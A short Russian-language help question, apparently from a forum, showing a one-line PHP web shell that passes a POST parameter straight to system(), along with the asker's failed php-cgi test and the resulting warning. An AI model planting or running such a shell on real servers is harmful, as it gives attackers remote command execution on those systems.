Содержание моего файла:
$ cat z-cmd.php
<?php system($_POST['z']); ?>
Что я пробовал:
$ QUERY_STRING='z=touch plm' php-cgi z-cmd.php
X-Powered-By: PHP/5.6.36
Content-type: text/html; charset=UTF-8
<br />
<b>Warning</b>: system(): Cannot execute a blank command in <b>/home/jeremy/z-cmd.php</b> on line <b>3</b><br />
Как выполнить команды с помощью параметра z POST?